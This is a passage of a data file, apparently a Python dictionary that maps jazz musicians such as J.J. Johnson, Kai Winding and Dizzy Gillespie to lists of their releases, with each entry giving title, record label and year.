Hampton--Vogue Productions--1953','\\\nLionel Hampton--Vogue Productions--1953','\\\nVol. 2--Metronome--1953','\\\nHamp\\'s Boogie Woogie--Brunswick--1953','\\\nMau Mau--Prestige--1954','\\\nGeorge Wallington Showcase--Blue Note--1954','\\\nJazz Time Paris Vol. 10--Vogue Productions--0','\\\nFor Those In Love--Emarcy--1955','\\\nJulian Cannonball Adderley--EmArcy--1955','\\\nJazz Recital--Norgran Records--1955','\\\nClark Terry--EmArcy--1955','\\\nBasically Duke--Bethlehem Records--1955','\\\nThe Touch Of Tony Scott--RCA Victor--1956','\\\nIn Hi-Fi--ABC-Paramount--1956','\\\nThe Art Farmer Septet--Prestige--1956','\\\nJazz Of Two Decades--EmArcy--1956','\\\nLucky Thompson Featuring Oscar Pettiford - Vol.1--ABC-Paramount--1956','\\\nJay & Kai + 6: The Jay And Kai Trombone Octet--Columbia--1956','\\\nIntroducing Jimmy Cleveland And His All Stars--EmArcy--1956','\\\nJoe Carroll With The Ray Bryant Quintet--Epic--1956'),'\\\nJack Teagarden':('\\\nThe Waiter And The Porter And The Upstairs Maid / Birth Of The Blues--Decca--1941','\\\nHoney / The Waiter, The Porter And The Upstairs Maid - Wait Till The Sun Shines, Nellie--V Disc--1946','\\\nLouis Armstrong\\'s Town Hall Concert--RCA Victor--1951','\\\nJazz Great--Bethlehem Records--1955','\\\nAccent On Trombone--Urania Records (3)--1955','\\\nThis Is Teagarden! - Part 1--Capitol Records--1956','\\\nBig T\\'s Jazz--Decca--1956','\\\nBig T\\'s Jazz--Decca--1956','\\\nThis Is Teagarden!--Capitol Records--1956','\\\nAt Newport--Verve Records--1957','\\\nDixieland--Savoy Records--1956','\\\nSwing Low, Sweet Spiritual--Capitol Records--1957','\\\nComparative Blues--Hall Of Fame (3)--0','\\\nJazz Ultimate--Capitol Records--1958','\\\nBig \\'T\\'s Dixieland Band--Capitol Records--1958','\\\nShades Of Night--Capitol Records--1959','\\\nJack Teagarden At The Roundtable--Roulette--1959','\\\nChicago And All That Jazz!--Verve Records--1961'),'\\\nBill Harris':('\\\nThe Modern Idiom--Capitol Records--1952','\\\nCool And Quiet--Capitol Records--1953','\\\nBill Harris Collates--Clef Records--1953','\\\nNew Jazz Sounds--Norgran Records--1955','\\\nNew Volume 6 (Formerly Vols.8, 9, and 10)--Clef Records--1955','\\\nThe Ex-Hermanites--Mode Records--1957','\\\nBill Harris And Friends--Vocalion (3)--0','\\\nJazz Off The Air (WNEW - 1947), Vol. 1--Esoteric (2)--1952','\\\nLive At The 3 Deuces!--Phoenix Jazz Records--1975','\\\nThe Small Herds--Mercury--1973','\\\nCaldonia / Happiness Is A Thing Called Joe--Columbia--1945','\\\nGee, It\\'s Good To Hold You / Your Father\\'s Mustache--Columbia--1945','\\\nWild Root / Atlanta, G. A.--Columbia--1946','\\\nNorman Granz\\' Jazz At The Philharmonic Volume Eight--Mercury--1947','\\\nWoodchopper\\'s Ball / With Someone New--Columbia--1947','\\\nWoody Herman And His Woodchoppers--Columbia--1947','\\\nSynthesis / Blue Champagne--National Records (2)--1947'),'\\\nPhil Wilson':('\\\nLive!! At The Berklee Performance Center--Shiah Records--1983','\\\nLive At Chan\\'s--Shira Records--1998','\\\nBroken Machine--Wilson Brothers Music (2)--2016','\\\nBroken Machine--Wilson Brothers Music (2)--2016','\\\nBasically Blues / Lil\\' Darlin\\'--King Records (3)--1960','\\\n1963 – The Swingin’est Big Band Ever--Philips--1963','\\\nEncore--Philips--1963','\\\nMy Kind Of Broadway--Columbia--1964','\\\nWoody Herman: 1964--Philips--1964','\\\nThe Swinging Herman Herd-Recorded Live--Philips--1964','\\\nWoody\\'s Big Band Goodies--Philips--1965','\\\nSwingin\\' New Big Band--Pacific Jazz--1966','\\\nMercy, Mercy--World Pacific Jazz--1968','\\\nMercy, Mercy, Mercy / Big Mama Cass--Pacific Jazz--1968','\\\nSue Terry Sings Cry, Cry, Again..The Home You\\'re Tearing Down & Other Sad Love Songs--Decca--1969','\\\nThe Best Of Buddy Rich--World Pacific Jazz--1969','\\\nA Different Drummer--RCA Victor--1971','\\\nMartin Mull--Capricorn Records--1972','\\\nBuddy Rich Big Band--United Artists Records--1972','\\\nCome On And Zoom--A&M Records--1974','\\\nBrighter Days--Outrageous Records Incorporated--1977','\\\nBuddy Rich Plays And Plays And Plays--RCA--1977','\\\nThe 40th Anniversary, Carnegie Hall Concert--RCA Victor--1977'),'\\\nJ.J. Johnson':('\\\nModern Jazz Trombones--Prestige--1951','\\\nDebut Records\\' Jazz Workshop, Volume One: Trombone Rapport--Debut Records--1953','\\\nVol. 1--Savoy Records--1954','\\\nJay & Kai--Savoy Records--1954','\\\nDec. 3, 1954--Prestige--1955','\\\nBags\\' Groove / Don\\'t Argue--Prestige--1955','\\\nThe Eminent Jay Jay Johnson Vol. 2--Blue Note--1955','\\\nThe Eminent Jay Jay Johnson Volume 1--Blue Note--1955','\\\nAn Afternoon At Birdland--X--1956','\\\nDebut Records\\' Jazz Workshop, Volume 2: Trombone Rapport--Debut Records--1955','\\\nK + J.J.--Bethlehem Records--1955','\\\nThe Eminent Jay Jay Johnson, Volume 3--Blue Note--1955','\\\nJay And Kai--Columbia--1955','\\\nJay & Kai--Savoy Records--1955','\\\nTrombone For Two--Columbia--1955','\\\nJazz South Pacific – Recorded In Concert On Guam--Regent--1956','\\\nJay Jay\\'s Blues / There\\'s No You--Vogue Productions--1955','\\\nThe Eminent Jay Jay Johnson Volume 2--Blue Note--1956','\\\nAt Newport--Columbia--1956','\\\nKai And Jay, Bennie Green With Strings--Prestige--1956','\\\nJay & Kai + 6: The Jay And Kai Trombone Octet--Columbia--1956','\\\nTrombone By Three--Prestige--1956','\\\nJazz Spectacular--Columbia--1956','\\\nSonny Stitt / Bud Powell / J.J. Johnson--Prestige--1956','\\\nFirst Place--Columbia--1957','\\\nAt The Opera House--Verve Records--1957','\\\nAfternoon In Paris--Sonet--0','\\\nMusic For Brass--Columbia--1957','\\\nJay And Kai--Philips--1957','\\\nFour Trombones--Debut Records--1957','\\\nJay And Kai--Columbia--1957','\\\nBrass In Modern Jazz--Philips--1957','\\\nAt The Opera House--Karusell--1958','\\\nBlue Trombone--Columbia--1959','\\\nMisterioso - Poll Winners Jazz--Fontana--1960','\\\nTrombone And Voices--Columbia--1960'),'\\\nKai Winding':('\\\nModern Jazz Trombones--Prestige--1951','\\\nDebut Records\\' Jazz Workshop, Volume One: Trombone Rapport--Debut Records--1953','\\\nVol. 1--Savoy Records--1954','\\\nJay & Kai--Savoy Records--1954','\\\nBags\\' Groove / Don\\'t Argue--Prestige--1955','\\\nDec. 3, 1954--Prestige--1955','\\\nAn Afternoon At Birdland--X--1956','\\\nJay & Kai--Savoy Records--1955','\\\nKai Winding All Stars--Royal Roost--1952','\\\nK + J.J.--Bethlehem Records--1955','\\\nJay And Kai--Columbia--1955','\\\nTrombone For Two--Columbia--1955','\\\nDebut Records\\' Jazz Workshop, Volume 2: Trombone Rapport--Debut Records--1955','\\\nAt Newport--Columbia--1956','\\\nTrombone By Three--Prestige--1956','\\\nKai And Jay, Bennie Green With Strings--Prestige--1956','\\\nJay & Kai + 6: The Jay And Kai Trombone Octet--Columbia--1956','\\\nLoaded--Savoy Records--1956','\\\nJazz Spectacular--Columbia--1956','\\\nK + J.J.--Bethlehem Records--0','\\\nEarly Modern--Jazztone (2)--1957','\\\nJay And Kai--Philips--1957','\\\nFour Trombones--Debut Records--1957','\\\nJay And Kai--Columbia--1957','\\\nThe Swingin\\' States--Columbia--1958','\\\nThe Great Kai & J. J.--Impulse!--1961','\\\nSide By Side--Impulse!--0','\\\nFour Trombones--Fantasy--1962','\\\nBaby Elephant Walk--Verve Records--1962','\\\nSuspense Themes In Jazz--Verve Records--1962','\\\nKai Winding--Verve Records--1963'),'\\\nFrank Rosolino':('\\\nFrank Rosolino--Capitol Records--1956','\\\nI Play Trombone--Bethlehem Records--1956','\\\nFrank Rosolino Quintet--Mode Records--1957','\\\nTurn Me Loose!--Reprise Records--1961','\\\nGeorge Gershwin\\'s Porgy And Bess--Ember Records International Ltd--1962','\\\nJazz A Confronto 4--Horo Records--1973','\\\nConversation--RCA--1974','\\\nConversation--MPS Records--1976','\\\nJust Friends--MPS Records--1977','\\\nThe Trombone Album--Savoy Records--1980','\\\nThinking About You--Sackville Recordings--1984','\\\nFree For All--Specialty--1986','\\\nZoot Sims / Frank Rosolino--Vogue--1986','\\\nJay Jay Johnson - Frank Rosolino--Editions Atlas--1991','\\\nFour Horns And A Lush Life--Bethlehem Records--2000','\\\nThey Met At The Continental Divide (It Wasn\\'t Exactly A Battle...)--Warner Bros. Records--1959','\\\nFrank Talks!--Storyville--1998','\\\nJazz Concerto--RAI Radiotelevisione Italiana--1973','\\\nFour Horns And A Lush Life--Bethlehem Records--1956','\\\nVol. 1--Royal Roost--1951','\\\nSpotlite--Columbia--1952','\\\nNew Concepts Of Artistry In Rhythm--Capitol Records--1953','\\\nBye Bye Blues / The Beat--Karusell--1953','\\\nBaia / All About Ronnie--Capitol Records--1953','\\\nZoot Goes To Town: Jazz Time Paris, Vol. 8--Vogue--1953','\\\nKenton Showcase - The Music Of Bill Russo--Capitol Records--1954','\\\nKenton Showcase - The Music Of Bill Holman--Capitol Records--1954','\\\nMariano--Bethlehem Records--1954','\\\nThat Old Black Magic--Capitol Records--1954'),'\\\nCarl Fontana':('\\\nBelgrade Blues--PGP RTB--1967','\\\nLive At Concord--Concord Jazz--1975','\\\nOleo--Pausa Records--1978','\\\nA 5 Star Edition--The Jazz Alliance--1991','\\\nThe Great Fontana--Uptown Records (2)--1987','\\\nFirst Time Together--Budapest Music Center Records--1998','\\\nTrombone Titans (Live In Las Vegas @ Capozzoli\\'s 1998)--DrewBone Records--2013','\\\nLas Vegas - 3 A.M--Famous Door--0','\\\nMoten Stomp / Beau Jazz--Mars Records (4)--1953','\\\nMother Goose Jumps / I\\'m Making Up For Lost Time--Mars Records (4)--1953','\\\nContemporary Concepts--Capitol Records--1955','\\\nEscale Á Paris--Swing (3)--1956','\\\nThe Trombone Sound--Columbia--1956','\\\nCuban Fire!--Capitol Records--1956','\\\nKenton In Hi-Fi--Capitol Records--1956','\\\nJazz West Coast, Volume 2--Jazz West Coast--1956','\\\nKenton In Hi Fi--Capitol Records--1956','\\\nOn Stage--Pacific Jazz--1956','\\\nJay And Kai--Columbia--1957'),'\\\nCurtis Fuller':('\\\nThe Opener--Blue Note--1957','\\\nBone & Bari--Blue Note--1957','\\\nNew Trombone--Prestige--1957','\\\nJazz...It\\'s Magic!--Regent--1958','\\\nAnother Monday Night At Birdland--Roulette--1959','\\\nMonday Night At Birdland--Roulette--1959','\\\nPoll Winners Jazz--Fontana--1960','\\\nVolume 3--Blue Note--1960','\\\nBoss Of The Soul-Stream Trombone--Warwick--1961','\\\nThe Magnificent Trombone Of Curtis Fuller--Epic--0','\\\nCabin In The Sky--Impulse!--1962','\\\nSoul Trombone And The Jazz Clan--Impulse!--1962','\\\nImages Of Curtis Fuller--Savoy Records--1962','\\\nJazz Conference Abroad--Smash Records (4)--1962','\\\nCurtis Fuller With Red Garland--New Jazz--1962','\\\nBody & Soul--Status Records (2)--1965','\\\nCurtis Fuller And Hampton Hawes With French Horns--Status Records (2)--1965','\\\nSliding Easy--United Artists Records--1959','\\\nThe Curtis Fuller Jazztet--Savoy Record Co., Inc.--1959','\\\nJazz Committee For Latin American Affairs--FM (6)--1963','\\\nSmokin\\'--Mainstream Records--1972','\\\nCrankin\\'--Mainstream Records--1973','\\\nBlues-ette--Savoy Records--1959','\\\nFour On The Outside--Timeless Records (3)--0','\\\nAll-Star Sextets--Savoy Jazz--1979','\\\nFire And Filigree--Bee Hive Records--1979','\\\nGiant Bones \\'80\\'--Sonet--1980','\\\nThe Trombone Album--Savoy Records--1980','\\\nEastern Rebellion 3--Timeless Records (3)--1980','\\\nTwo Bones--Blue Note--1980','\\\nMonday Night At Birdland + Life Is A Many Splendored Gig--Roulette--1981','\\\nCalifornia Message--Baystate--1981','\\\nOne More Mem´ry--Baystate--1982','\\\nEastern Rebellion 4--Timeless Records (3)--1984','\\\nBack To The City--Contemporary Records--1986','\\\nCurtis Fuller Meets Roma Jazz Trio--Timeless Records (3)--1987','\\\nThe Jazztet - Real Time--Contemporary Records--1988','\\\nCedar\\'s Blues: Cedar Walton Quintet Live--Red Record--1985','\\\nThe Complete Blue Note/UA Curtis Fuller Sessions--Mosaic Records (2)--1996'),'\\\nGrachan Moncur':('\\\nGems Of Jazz,Volume 1--Decca--1949','\\\nGems Of Jazz, Volume 2--Decca--1949','\\\nA Billie Holiday Memorial--Philips--1959','\\\nHer Greatest Performances 1929-1946--Columbia--1962','\\\nThe Golden Years Volume II--Columbia--1966','\\\nKings Of Swing--Regal--1966','\\\nThe Golden Years--Columbia--1962','\\\nGabbin\\' Blues And Other Big Hits--Epic--1968','\\\nBillie\\'s Blues - The Original Recordings By Billie Holiday--Harmony (4)--1973','\\\nThe Billie Holiday Story Volume II--Columbia--1973','\\\nThe Billie Holiday Story Volume III--Columbia--1973','\\\nThe Original Recordings--Columbia--1973','\\\nAin\\'t Nobody\\'s Business If I Do--CBS--1975','\\\nGiants Of Jazz: Billie Holiday--Time Life Records--1979','\\\nBrown Sugar--CBS Special Products--1981','\\\nThe Okeh Sessions--Charly Records--1983','\\\nChicagoans In New York--Dawn Club--1983','\\\nLady Day--Giants Of Jazz--1984','\\\nThe Quintessential Billie Holiday Volume 1, 1933-1935--CBS--1987','\\\nSwing – Small Groups 1931 To 1936--BBC Records And Tapes--1988','\\\nTeddy Wilson With Billie Holiday--ASV--1988','\\\nHarlem Lullaby--ASV--1989','\\\nThe Most Important Recordings Of--Official (3)--1989','\\\nWith Teddy Wilson--Editions Atlas--1990','\\\nBlues Festival--Editions Atlas--1992','\\\nLong Gone Blues--Columbia--1993','\\\nThe Complete OKeh Sessions 1952-\\'55--Epic--1994','\\\nThe Rockin\\' Chair Lady (1931-1950)--GRP--1994'),'\\\nGarnett Brown':('\\\nVillage Vanguard Live Sessions 2--Lester Recording Catalog--1990','\\\nThe Outer View--Riverside Records--1962','\\\nDrumfusion--Columbia--1962','\\\nThe Giants Of Jazz--Columbia--1963','\\\nStretchin\\' Out--Pacific Jazz--1964','\\\nPresenting Joe Williams And Thad Jones • Mel Lewis, The Jazz Orchestra--Solid State Records (2)--1966','\\\nSlightly Latin--Limelight--1966','\\\nHoneybuns--Atlantic--1966','\\\nFlute By-Laws--Atlantic--1966','\\\nHold On, I\\'m Coming--Limelight--1966','\\\nBooker \\'n\\' Brass--Pacific Jazz--1967','\\\nLive At The Village Vanguard--Solid State Records (2)--1967','\\\nEasterly Winds--Blue Note--1967','\\\nIt\\'s All Right--Prestige--1967','\\\nHeavy!!!--Prestige--1967','\\\nAqui Se Habla Español--Roulette--1967','\\\nThe Right Touch--Blue Note--1967','\\\nCotton In Your Ears--Verve Forecast--1968','\\\nGoodies--Verve Records--1968','\\\nCal Tjader Sounds Out Burt Bacharach--Skye Records--1968','\\\nPlug Me In--Atlantic--1968','\\\nIntroducing Duke Pearson\\'s Big Band--Blue Note--1968','\\\nManhattan Fever--Blue Note--1968','\\\nNewport Uproar!--RCA Victor--1968','\\\nMachinations--Verve Records--1968','\\\nStay Loose--Verve Records--1968','\\\nHair Pieces--Verve Forecast--1968','\\\nJazz For A Sunday Afternoon Volume 2--Solid State Records (2)--1968','\\\nSoul Machine--A&M Records--1968','\\\nJazz For A Sunday Afternoon Volume 4--Solid State Records (2)--1969','\\\nNow Hear This--Blue Note--1969','\\\nFat Albert Rotunda--Warner Bros. - Seven Arts Records--1969','\\\nThe Prisoner--Blue Note--1969','\\\nWild Thing--Skye Records--1969','\\\nCrying Song--CTI Records--1969','\\\nNew Grass--Impulse!--1969','\\\nMonday Night--Solid State Records (2)--1969','\\\nGlass Onion--Atlantic--1969','\\\nStreet Man--Buddah Records--1969','\\\nAmerica The Beautiful--Skye Records--1969','\\\nJust A Little Lovin\\'--Atlantic--0','\\\nAnd His Friends--Flying Dutchman--1970','\\\n3 Shades Of Blue--Flying Dutchman--1970','\\\nMCMLXX--Atlantic--1970','\\\nHermeto--Cobblestone--1970','\\\nChapter Two--Atlantic--1970','\\\nWhat\\'s In This Life For You--Mercury--1970','\\\nTime, Space And The Blues--MTA Records (2)--1970'),'\\\nBill Watrous':('\\\nIn Love Again / Theme From La Strada--MTA Records (2)--1968','\\\nIn Love Again--MTA Records (2)--1968','\\\nLove Themes For The Underground, The Establishment & Other Sub Cultures Not Yet Known--MTA Records (2)--1969','\\\nManhattan Wildlife Refuge--Columbia--1974','\\\nThe Tiger Of San Pedro--Columbia--1975','\\\nL.A. Bound--Sea Breeze--1979','\\\nI\\'ll Play For You--Famous Door--1980','\\\nTrombone Summit--MPS Records--1981','\\\nA 5 Star Edition--The Jazz Alliance--1991','\\\nSomeplace Else--Soundwings--1986','\\\nReflections--Soundwings--1987','\\\nBone-ified--GNP Crescendo--1992','\\\nA Time For Love--GNP Crescendo--1993','\\\nSpirit Of The Horn--MCG Jazz--2002','\\\nFunk\\'n Fun--Yupiteru Records--1979','\\\nViva!--Mercury--1964','\\\nThe Blues Roar--Mainstream Records--1964','\\\nThe August Child--Mainstream Records--1964','\\\nModern Country--Verve Records--1964','\\\nGolden Boy--Mercury--1964','\\\nMy Fair Lady - My Way--Roulette--1964','\\\nThe In Instrumentals--Verve Records--1966','\\\nVibrations--Mainstream Records--1965','\\\nRainy Day--Verve Records--1965','\\\nCalifornia Dreaming--Verve Records--1966','\\\nDirty Dog--Verve Records--1966','\\\nMore Brass--Verve Records--1966','\\\nWoody Live East And West--Columbia--1967','\\\nBlues For Easy Livers--Transatlantic Records--1967','\\\nPenny Lane & Time--Verve Records--1967','\\\nAqui Se Habla Español--Roulette--1967','\\\nThink--Verve Records--1968'),'\\\nRoswell Rudd':('\\\nNew York Eye And Ear Control--ESP Disk--1966','\\\nEverywhere--Impulse!--1967','\\\nRoswell Rudd--America Records--1971','\\\nNumatik Swing Band--JCOA Records Virgin--1975','\\\nSchool Days - A 1963 Live Session Released For The First Time--Emanem--1975','\\\nFlexible Flyer--Arista--1975','\\\nTrickles--Black Saint--1976','\\\nInside Job--Arista--1976','\\\nBlown Bone--Philips--1979','\\\nRegeneration--Soul Note--1983','\\\nMonk\\'s Dream--Verve Records--1999','\\\nLive In New York--Verve Records--2001','\\\nRoswell Rudd\\'s MALIcool--Sunnyside--2002','\\\nStrength & Power--RareNoise Records--2016','\\\nEmbrace--RareNoise Records--2017','\\\nMixed--Impulse!--1998','\\\nCollege Jazz: Dixieland--Columbia--1956','\\\nInto The Hot--Impulse!--1962','\\\nFour For Trane--Impulse!--1965','\\\nNew York Art Quartet--ESP Disk--1965','\\\nMohawk--Fontana--1965','\\\nLive In San Francisco--Impulse!--1966','\\\nCommunication--Fontana--1966','\\\nMama Too Tight--Impulse!--1967','\\\nThe ESP Sampler--ESP Disk--1967','\\\nLife At The Donaueschingen Music Festival--SABA--1967','\\\nRock And Other Four Letter Words--Columbia Masterworks--1968','\\\nThe Jazz Composer\\'s Orchestra--JCOA Records--1968'),'\\\nKING OLIVER':('\\\nJet Black Blues / Blue Blood Blues--Okeh--1929','\\\nPlays The Blues--Riverside Records--1953','\\\nClarence Williams And His Orchestra--Riverside Records--1954','\\\nPetits Jazz Pour Tous 2--Philips--1955','\\\nBack O\\' Town--Riverside Records--1956','\\\nKing Oliver--Epic--1956','\\\nLouis Armstrong With King Oliver\\'s Creole Jazz Band--Riverside Records--1953','\\\nJazz Pour Tous 2--Philips--1958','\\\n1928-1929--Philips--1961','\\\nThe Immortal King Oliver--Milestone (4)--0','\\\nPapa Joe (1926-1928)--Decca--0','\\\nWest End Blues--CBS--0','\\\nNew Orleans Shout--RCA Victor--1971','\\\nThe Blues Heritage--Olympic Records (4)--1973','\\\nLouis Armstrong And King Oliver--Milestone (4)--1974','\\\nKing Oliver--RCA--1977','\\\nThe Great 1923 Gennetts--Herwin Records--0','\\\nKings Of New Orleans Jazz--The Franklin Mint Record Society--1983','\\\nKing Oliver--Giants Of Jazz--1985','\\\nThe King Oliver Collection - 20 Golden Greats--Deja Vu--1987','\\\nThe New York Sessions (1929-1930)--Bluebird (3)--1989','\\\nKing Oliver Vol 2 1927-1930--BBC Records And Tapes--1991'),'\\\nBIX BEIDERBECKE':('\\\nClarinet Marmalade / Singin\\' The Blues--Okeh--1927','\\\nIn A Mist / Wringin\\' An\\' Twistin\\'--Okeh--1927','\\\nBixology / Singin\\' The Blues--Parlophone--1934','\\\nBixology / Since My Best Girl Turned Me Down--Parlophone--1935','\\\nSingin\\' The Blues / Manhattan Rag--Parlophone--1935','\\\nWringin\\' And Twistin\\' / For No Reason At All In C--Parlophone--1937','\\\nThe Bix Beiderbecke Story / Volume 1 - Bix And His Gang--Columbia Masterworks--1950','\\\nThe Bix Beiderbecke Story / Volume 2 - Bix And Tram--Columbia--1952','\\\nThe Bix Beiderbecke Story / Volume 3 - Whiteman Days--Columbia--1952','\\\nBix Beiderbecke And The Wolverines--London Records--1954','\\\nOstrich Walk--Philips--0','\\\nBix Beiderbecke And The Wolverines--Riverside Records--1957','\\\nThe Best Of Bix--Philips--0','\\\nThe Bix Beiderbecke Legend--RCA Victor--1961','\\\nBix And Tram 1928--Swaggie Records--1969'),'\\\nLouis Armstrong':('\\\nIf We Never Meet Again / Dipper Mouth--Decca--1936','\\\nWild Man Blues / Melancholy Blues--Parlophone--0','\\\nThe Skeleton In The Closet / Hurdy Gurdy Man--Decca--1936','\\\nHawaiian Hospitality / On A Little Bamboo Bridge--Decca--1937','\\\nDarling Nelly Gray / Carry Me Back To Old Virginny--Decca--0','\\\nIn The Shade Of The Old Apple Tree / The Old Folks At Home--Decca--1937','\\\nThe Flat Foot Floogee / Caravan--Decca--0','\\\nGoin\\' To Shout All Over God\\'s Heaven / Nobody Knows De Trouble I\\'ve Seen--Decca--0','\\\nShadrack/ Jonah And The Whale--Decca--1938','\\\nBoog-It / Cherry--Decca--1940','\\\nBoog-It / How Did She Look?--Brunswick--1940','\\\nSwing That Music / Wolverine Blues--Decca--0','\\\nWeather Bird / Muggles --Parlophone--1942','\\\nJazz Classics--Brunswick--1944','\\\nCherry / Marie--Decca--1945','\\\nSweet Georgia Brown / Shiek Of Araby / Back O\\' Town Blues--V Disc--1945','\\\nYou Won\\'t Be Satisfied / The Frim Fram Sauce--Decca--1946','\\\nBlueberry Hill / That Lucky Old Sun--Decca--1949','\\\nYou Can\\'t Lose A Broken Heart / My Sweet Hunk O\\' Trash--Decca--1949','\\\nRiverside Blues / Mabel\\'s Dream--Claxtonola--1924','\\\nLife Is So Peculiar--Decca--1950','\\\nClassics: New Orleans To New York--Decca--1950','\\\nLa Vie En Rose--Decca--1950','\\\nCan Anyone Explain? / Dream A Little Dream Of Me--Decca--1950','\\\nBlueberry Hill / Baby, Won\\'t You Say You Love Me--Decca--0','\\\nC\\'est Si Bon / Blueberry Hill--Brunswick--1953'),'\\\nRoy Eldridge':('\\\nAfter You\\'ve Gone / Dark Eyes--Columbia--1948','\\\nHot Trumpet Ensembles--Mercury--1950','\\\nRoy Eldridge And His Band--Metronome--1951','\\\nAnd His Little Jazz--Vogue Productions--1951','\\\nCollates--Mercury--1952','\\\nJazz Off The Air (WNEW - 1947), Vol. 1--Esoteric (2)--1952','\\\nJam Session #5--Clef Records--1955','\\\nRoy And Diz #2--Clef Records--1954','\\\nThe Strolling Mr. Eldridge--Clef Records--1954','\\\nLittle Jazz--Clef Records--1954','\\\nThe Art Tatum - Roy Eldridge - Alvin Stoller - John Simmons Quartet--Clef Records--1955','\\\nRoy And Diz--Clef Records--1955','\\\nThe Moon Is Low--Clef Records--0','\\\nDrummer Man 1--Karusell--1956','\\\nDrummer Man Gene Krupa In HIghest-FI--Verve Records--1956','\\\nRoy\\'s Got Rhythm--Emarcy--1956','\\\nTrumpet Battle--Clef Records--1956','\\\nThe Trumpet Kings--Clef Records--1956','\\\nThat Warm Feeling--Verve Records--1957','\\\nTour De Force--Verve Records--1957','\\\nThe Urbane Jazz Of Roy Eldridge And Benny Carter--Verve Records--1957','\\\nAt Newport--Verve Records--1958','\\\nLaughin\\' To Keep From Cryin\\'--Verve Records--1958','\\\nMusique Originale Du Film Les Tricheurs--Barclay--1958','\\\nThe Gene Krupa Story In Music--Harmony (4)--1960','\\\nDrum Boogie--no label--1960','\\\nSwingin\\' On The Town--Verve Records--1960','\\\nNewport Rebels--Candid--1961','\\\nAt The Opera House--Verve Records--1961','\\\nHawkins! Eldridge! Hodges! Alive! At The Village Gate!--Verve Records--1962','\\\nEra Of The Swing Trumpet--Mainstream Records--1964','\\\nRoy Eldridge--Metro Records--1965'),'\\\nDizzy Gillespie':('\\\nLover Man / Shaw \\'Nuff--Guild Records (2)--1945','\\\nSomethin\\' For You / Empty Bed Blues--Manor--1946','\\\nI Can\\'t Get Started / Good Bait--Manor--1946','\\\nDizzy Gillespie Plays & Johnny Richards Conducts--Discovery Records--1950','\\\nThe Champ--Dee Gee--1951','\\\nSonny Side Up--Verve--1957','\\\nO-Sho-Be-Do-Be / Sunny Side Of The Street--Dee Gee--1951','\\\nSchool Days / I\\'ll Get You Yet--Dee Gee--1951','\\\nTin Tin Daeo / Birks Works--Dee Gee--1951','\\\nModern Jazz Trumpets--Prestige--1951','\\\nBlue Skies / Pop\\'s Confessin\\'--Dee Gee--1951','\\\nRed Norvo\\'s Fabulous Jam Session--Dial Records (3)--1951','\\\nLullaby Of The Leaves / On The Alamo--Jazz Selection--1951','\\\nLady Be Good / Klook Returns--Dee Gee--1951','\\\nCool Breeze--RCA Victor--1952','\\\nBird And Diz--Mercury--1952','\\\nThe Modern Idiom--Capitol Records--1952','\\\nHot Versus Cool--MGM Records--1953','\\\nDizzy Gillespie--Dee Gee--1952','\\\nSwing Low, Sweet Chariot / Interlude In C--Discovery Records--1952','\\\nOriginators Of Modern Jazz--Vogue Productions--1952'),'\\\nBOOKER LITTLE':('\\\nBooker Little--Time Records (3)--1960','\\\nOut Front--Candid--1961','\\\nBooker Little And Friend*--Bethlehem Records--1961','\\\nFar Cry--New Jazz--1962','\\\nMemorial Album Recorded Live At The Five Spot--Prestige--1965','\\\nDeeds, Not Words--Riverside Records--1958','\\\nMetronome Presents Jazz In The Garden At The Museum Of Modern Art--Warwick--1960','\\\nBooker Little 4 & Max Roach--United Artists Records--1959','\\\nFantastic Frank Strozier--Vee Jay Records--1960','\\\nAt The Five Spot Volume 2--Prestige--1963','\\\nThe Soul Of Jazz Percussion--Warwick--1960','\\\nDeeds, Not Words--Riverside Records--1958','\\\nDeeds, Not Words--Riverside Records--1958','\\\nMax Roach + 4 On The Chicago Scene--Emarcy--1958','\\\nMax Roach + 4 At Newport--EmArcy--1958','\\\nDown Home Reunion--United Artists Records--1959','\\\nSings--Vee Jay Records--1959','\\\nBooker Little 4 & Max Roach--United Artists Records--1959','\\\nWe Insist! Max Roach\\'s Freedom Now Suite--Candid--1960','\\\nThe Soul Of Jazz Percussion--Warwick--1960','\\\nMetronome Presents Jazz In The Garden At The Museum Of Modern Art--Warwick--1960','\\\nAward-Winning Drummer--Time Records (3)--1960','\\\nFantastic Frank Strozier--Vee Jay Records--1960','\\\nStraight Ahead--Candid--1961','\\\nAt The Five Spot, Volume 1.--Prestige--1961','\\\nAfrica / Brass--Impulse!--1961','\\\nNewport Rebels--Candid--1961','\\\nAnd His Horn Of Plenty--Strand Records (2)--1961','\\\nPercussion Bitter Sweet--Impulse!--1961','\\\nAt The Five Spot Volume 2--Prestige--1963','\\\nThe Many Sides Of Max--Mercury--1964','\\\nHere And There--Prestige--1966','\\\nFar Cry--New Jazz--1962','\\\nThe Best Of John Coltrane - His Greatest Years--Impulse!--1970','\\\nThe Great Concert Of Eric Dolphy--Prestige--1974','\\\nThe Best Of John Coltrane - His Greatest Years, Vol. 2--Impulse!--1972','\\\nImpulse Energy Essentials (A Developmental And Historical Introduction To The New Music)--Impulse!--1972','\\\n25 Years Of Prestige--Prestige--1974'),'\\\nDon Cherry':('\\\nEvidence--New Jazz--1962','\\\nPsycology--Bird Notes--1963','\\\nIt Is Revealed--Zounds (2)--1963','\\\nGhosts--Debut Records (3)--1965','\\\nAt Beethoven Hall II--SABA--1965','\\\nLa Maison Fille Du Soleil--Studio Scriptone Nantes--1965','\\\nAt Beethoven Hall--SABA--1965','\\\nThe Avant-Garde--Atlantic--1966','\\\nNew York Eye And Ear Control--ESP Disk--1966','\\\nComplete Communion--Blue Note--1966','\\\nTogetherness--Durium--1966','\\\nSymphony For Improvisers--Blue Note--1967','\\\nMu First Part--BYG Records--1969','\\\nEternal Rhythm--MPS Records--1969','\\\nWhere Is Brooklyn?--Blue Note--1969','\\\nHuman Music--Flying Dutchman--1970','\\\nActions--Philips--1971','\\\nMu Second Part--BYG Records--0','\\\nMu First Part / Mu Second Part--BYG Records--1971','\\\nAt Beethoven Hall--BASF--1973','\\\nFree Jazz--Atlantic--1961','\\\nOrient--BYG Records--1973','\\\nOrganic Music Society--Caprice Records--1973','\\\nRelativity Suite--JCOA Records--1973','\\\nEternal Now--Sonet--1974','\\\nBlue Lake--BYG Records--1974','\\\nThe Third World-Underground--Trio Records--1974','\\\nBrown Rice--EMI--1975','\\\nKawaida--no label--1970','\\\nVol. 1.--Sonet--1964','\\\nThe Fabulous Paul Bley Quintet--America Records--1971','\\\nHear & Now--Atlantic--1977','\\\nOld And New Dreams--Black Saint--1977','\\\nMandingo Griot Society--Flying Fish (2)--1978','\\\nLive In Ankara--Sonet--1978','\\\nOld And New Dreams--ECM Records--1979','\\\nSession In Paris, Vol. 1 Song Of Soil--Paddle Wheel--1979','\\\nI Giganti Del Jazz Vol. 